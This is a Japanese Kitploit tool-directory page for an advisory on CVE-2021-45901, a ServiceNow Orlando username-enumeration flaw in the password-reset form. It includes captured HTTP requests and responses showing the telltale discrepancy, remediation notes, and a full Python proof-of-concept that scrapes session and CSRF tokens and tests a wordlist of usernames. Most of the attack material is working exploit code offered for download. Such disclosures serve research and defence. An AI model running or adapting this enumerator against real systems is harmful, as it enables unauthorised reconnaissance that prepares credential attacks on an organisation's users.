Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-45901 — ServiceNow (CVE-2021-45901) 向け自動ユーザー名列挙エクスプロイト。パスワードリセットフォームを介したHTTP応答の不一致検出を利用します。 | Kitploit
ツール/GitHubGitHub/9lyph/cve-2021-45901
OSINT (オープンソースインテリジェンス)脆弱性分析エクスプロイト情報収集ウェブセキュリティペネトレーションテスト
GitHub9lyph/cve-2021-45901

CVE-2021-45901

ServiceNow (CVE-2021-45901) 向け自動ユーザー名列挙エクスプロイト。パスワードリセットフォームを介したHTTP応答の不一致検出を利用します。

リポジトリを見る
21年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-45901 (ServiceNow - ユーザ名列挙)

service-now

PoCコード

enumSNOWUsers.py - SNOW ユーザ列挙ツール

タイトル

ServiceNow アプリケーションで見つかったユーザ名列挙の脆弱性

公開: バージョン: 1.0

ベンダー: ServiceNow

製品: ServiceNow (https://www.servicenow.com/)

影響を受けるバージョン: Orlando (glide-orlando-12-11-2019__patch5-06-17-2020)

製品説明:

ServiceNow は、カリフォルニア州サンタクララに本社を置くアメリカのソフトウェア企業で、企業がエンタープライズ運用のデジタルワークフローを管理するためのクラウドコンピューティングプラットフォームを開発しています。

参考文献

Exploit-DB

発見内容

ユーザ名列挙 (認証なし)

CVE: CVE-2021-45901

CWE: CWE-200: 機密情報の不正なアクターへの漏洩

説明

ServiceNow (Orlando) で発見された脆弱性により、ワードリストを用いたユーザ名列挙が可能になります。認証されていないセッションを使用し、パスワードリセットフォームにアクセスすることで、有効なユーザ名を推測できます。これは、パスワードリセットのWebフォームによって最初にトリガーされる HTTP POST 応答データを調査することで達成されます。この応答はユーザ名の存在有無によって異なります。

注記: このプロセスを自動化するには、有効なセッションCookie (JSESSIONID)、CSRFトークン (pwd_csrf_token)、および X-UserToken (X-UserToken) が必要です。これらのオブジェクトはすべてクライアントサイドコードから取得可能です。

例

CWE-203: 観測可能な不一致

以下は、有効なユーザ名と無効なユーザ名を推測するために使用される HTTP 応答 POST データ内の観測可能な不一致を示しています。

root@kitploit:~
Request
POST /$pwd_reset.do?sysparm_url=ss_default HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-type: application/x-www-form-urlencoded; charset=UTF-8
X-UserToken: <UserToken>
Content-Length: 421
Origin: https://<IP>/
Connection: keep-alive
Cookie: glide_user_route=glide.da<redacted>; JSESSIONID=<redacted>;__CJ_g_startTime='<time>'
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

sysparm_processor=PwdAjaxVerifyIdentity&sysparm_scope=global&sysparm_want_session_messages=true&sysparm_name=verifyIdentity&sysparm_process_id=<redacted>&sysparm_processor_id_0=<redacted>&sysparm_user_id_0=admin&sysparm_identification_number=1&sysparm_pwd_csrf_token=<redacted>&ni.nolog.x_referer=ignore&x_referer=%24pwd_reset.do%3Fsysparm_url%3Dss_default

Response (Valid Username)
HTTP/1.1 200 OK
Set-Cookie: glide_user=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
Set-Cookie: glide_user_session=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
X-Is-Logged-In: false
X-Transaction-ID: f7ca428075d6
Pragma: no-store,no-cache
Cache-Control: no-cache,no-store,must-revalidate,max-age=-1
Expires: 0
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
X-TRANSACTION-TIME-MS: 1227
X-TRANSACTION-TIME: 0:00:01.227
Content-Type: text/xml
Transfer-Encoding: chunked
Date: Thu, 26 Aug 2021 05:59:41 GMT
Server: <redacted>

<?xml version="1.0" encoding="UTF-8"?>
   <xml answer="200" sysparm_max="15" sysparm_name="verifyIdentity" sysparm_processor="PwdAjaxVerifyIdentity">
   <security message="" pwd_csrf_token="<redacted>" status="ok"/>
</xml>

Response (Invalid Username)
HTTP/1.1 200 OK
Set-Cookie: glide_user=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
Set-Cookie: glide_user_session=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
X-Is-Logged-In: false
X-Transaction-ID: 0b83260c75d6
Pragma: no-store,no-cache
Cache-Control: no-cache,no-store,must-revalidate,max-age=-1
Expires: 0
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
X-TRANSACTION-TIME-MS: 1076
X-TRANSACTION-TIME: 0:00:01.076
Content-Type: text/xml
Transfer-Encoding: chunked
Date: Thu, 26 Aug 2021 06:10:41 GMT
Server: <redacted>

<?xml version="1.0" encoding="UTF-8"?>
   <xml answer="500" sysparm_max="15" sysparm_name="verifyIdentity" sysparm_processor="PwdAjaxVerifyIdentity">
   <security message="" pwd_csrf_token="<redacted>" status="ok"/>
</xml>

修正手順

「Rome」へのアップグレード

  • ソフトウェアの「Rome」バージョンでのキャプチャの導入
  • 有効なユーザ応答を隠す汎用的なHTTP応答
  • セッショントークン、Cookie、CSRFトークンをクライアントサイドコード内で隠蔽するためのクライアントサイドコードの難読化
  • 関連オブジェクトをハッシュ化し、クライアント側で逆変換できるようにするサーバサイドハッシュ機構の導入

PoCコード (ユーザ名列挙ツール)

root@kitploit:~
#!/usr/local/bin/python3
# Author: Victor Hanna (Exploit Security)
# User enumeration script SNOW
# Requires valid 
1. JSESSION (anonymous)
2. X-UserToken 
3. CSRF Token

import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time

from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def banner():
    print ("[+]********************************************************************************[+]")
    print ("|   Author : Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t    |")
    print ("|   Decription: SNOW Username Enumerator                                            |")
    print ("|   Usage : "+sys.argv[0]+"                                                        |")
    print ("|   Prequisite: \'users.txt\' needs to contain list of users                          |")    
    print ("[+]********************************************************************************[+]")

def main():
    os.system('clear')
    banner()
    proxies = {
        "http":"http://127.0.0.1:8080/",
        "https":"http://127.0.0.1:8080/"
    }
    url = "http://<redacted>/"
    try:
        # s = requests.Session()
        # s.verify = False
        r = requests.get(url, timeout=10, verify=False, proxies=proxies)
        JSESSIONID = r.cookies["JSESSIONID"]
        glide_user_route = r.cookies["glide_user_route"]
        startTime = (str(time.time_ns()))
        # print (startTime[:-6])
    except requests.exceptions.Timeout:
        print ("[!] Connection to host timed out !")
        sys.exit(1)

    with open ("users.txt", "r") as f:
        usernames = f.readlines()
        print (f"[+] Brute forcing ....")
        for users in usernames:
            url = "http://<redacted>/$pwd_reset.do?sysparm_url=ss_default"
            headers1 = {
                "Host": "<redacted>",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
                "Accept": "*/*",
                "Accept-Language": "en-US,en;q=0.5",
                "Accept-Encoding": "gzip, deflate",
                "Connection": "close",
                "Cookie": "glide_user_route="+glide_user_route+"; JSESSIONID="+JSESSIONID+"; __CJ_g_startTime=\'"+startTime[:-6]+"\'"
                }

            try:
                # s = requests.Session()
                # s.verify = False
                r = requests.get(url, headers=headers1, timeout=20, verify=False, proxies=proxies)
                obj1 = re.findall(r"pwd_csrf_token", r.text)
                obj2 = re.findall(r"fireAll\(\"ck_updated\"", r.text)
                tokenIndex = (r.text.index(obj1[0]))
                startTime2 = (str(time.time_ns()))
                # userTokenIndex = (r.text.index(obj2[0]))
                # userToken = (r.text[userTokenIndex+23 : userTokenIndex+95])
                token = (r.text[tokenIndex+45:tokenIndex+73])
                url = "http://<redacted>/xmlhttp.do"
                headers2 = {
                    "Host": "<redacted>",
                    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
                    "Accept": "*/*",
                    "Accept-Language": "en-US,en;q=0.5",
                    "Accept-Encoding": "gzip, deflate",
                    "Referer": "http://<redacted>/$pwd_reset.do?sysparm_url=ss default",
                    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
                    "Content-Length": "786",
                    "Origin": "http://<redacted>/",
                    "Connection": "keep-alive",
                    # "X-UserToken":""+userToken+"",
                    "Cookie": "glide_user_route="+glide_user_route+";JSESSIONID="+JSESSIONID+"; __CJ_g_startTime=\'"+startTime2[:-6]+"\'"
                    }

                data = {
                    "sysparm_processor": "PwdAjaxVerifyIdentity",
                    "sysparm_scope": "global",
                    "sysparm_want_session_messages": "true",
                    "sysparm_name":"verifyIdentity",
                    "sysparm_process_id":"c6b0c20667100200a5a0f3b457415ad5",
                    "sysparm_processor_id_0":"fb9b36b3bf220100710071a7bf07390b",
                    "sysparm_user_id_0":""+users.strip()+"",
                    "sysparm_identification_number":"1",
                    "sysparam_pwd_csrf_token":""+token+"",
                    "ni.nolog.x_referer":"ignore",
                    "x_referer":"$pwd_reset.do?sysparm_url=ss_default"
                    }

                payload_str = urllib.parse.urlencode(data, safe=":+")

            except requests.exceptions.Timeout:
                print ("[!] Connection to host timed out !")
                sys.exit(1)

            try:
                # s = requests.Session()
                # s.verify = False
                time.sleep(2)
                r = requests.post(url, headers=headers2, data=payload_str, timeout=20, verify=False, proxies=proxies)
                if "500" in r.text:
                    print (Fore.RED + f"[-] Invalid user: {users.strip()}" + Style.RESET_ALL)
                    f = open("enumeratedUserList.txt", "a+")
                    f.write(Fore.RED + f"[-] Invalid user: {users.strip()}\n" + Style.RESET_ALL)
                    f.close()
                elif "200" in r.text:
                    print (Fore.GREEN + f"[+] Valid user: {users.strip()}" + Style.RESET_ALL)
                    f = open("enumeratedUserList.txt", "a+")
                    f.write(Fore.GREEN + f"[+] Valid user: {users.strip()}\n" + Style.RESET_ALL)
                    f.close()
                else:
                    print (Fore.RED + f"[-] Invalid user: {users.strip()}" + Style.RESET_ALL)
                    f = open("enumeratedUserList.txt", "a+")
                    f.write(Fore.RED + f"[-] Invalid user: {users.strip()}\n" + Style.RESET_ALL)
                    f.close()
            except KeyboardInterrupt:
                sys.exit()
            except requests.exceptions.Timeout:
                print ("[!] Connection to host timed out !")
                sys.exit(1)
            except Exception as e:
                print (Fore.RED + f"Unable to connect to host" + Style.RESET_ALL)

if __name__ == "__main__":
    main ()

列挙例

snow-enum

脆弱性実証動画 PoC

発見者/クレジット:

Victor Hanna (Exploit Security)

フォロー

Mastodon Linkedin Youtube

ツールをダウンロード